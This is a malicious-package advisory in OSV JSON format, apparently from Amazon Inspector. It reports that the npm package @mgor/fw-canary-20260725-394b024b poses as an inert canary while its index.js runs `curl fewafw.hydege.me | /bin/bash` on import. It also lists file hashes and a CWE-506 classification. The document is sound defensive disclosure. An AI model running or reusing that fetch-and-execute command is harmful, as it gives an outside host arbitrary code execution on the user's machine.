@mgor/fw-canary-20260725-394b024b

{"modified":"2026-08-05T13:03:32Z","published":"2026-08-05T13:03:32Z","schema_version":"1.7.4","id":"MAL-2026-12321","summary":"Malicious code in @mgor/fw-canary-20260725-394b024b (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37)\nindex.js, the package's declared main entry point, unconditionally executes `curl fewafw.hydege.me | /bin/bash` at top level. Any consumer that requires or imports this package fetches an unpinned, unverified shell script from a non-first-party domain and pipes it into bash, yielding arbitrary code execution on the installer's host. The package.json description and README self-label the package as an inert security-test canary with no install scripts and no functionality, directly contradicting the actual code behavior — a deceptive cover story.\n","affected":[{"package":{"ecosystem":"npm","name":"@mgor/fw-canary-20260725-394b024b"},"versions":["0.0.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"43b5cbde57b8e21fd2b3e8b1c105c20113a81817f29fcdfe94d02c5e7cfc2710","tlsh":"64f0c0041cf2627382a954b16a579d47238bf541123dd8bae897036857c5b008f433f6"}],"package_integrity":[{"filename":"fw-canary-20260725-394b024b-0.0.2.tgz","hashes":{"sha1":"ccf216e94ab7ba274242bd847f5a353c61418f25","sha512_sri":"sha512-WnZjUJ45GpwiRS+SfYKdqoNzzdTRHAl1gQa4LQfP/c+r2VQNa+lqxK3dCjVRd6MwL72UgJ4H9lxX2M9s2WJ+JQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@mgor/fw-canary-20260725-394b024b/v/0.0.2"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-014865","import_time":"2026-08-05T13:08:51.874120612Z","modified_time":"2026-08-05T13:03:32Z","sha256":"80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37","source":"amazon-inspector","versions":["0.0.2"]}]}}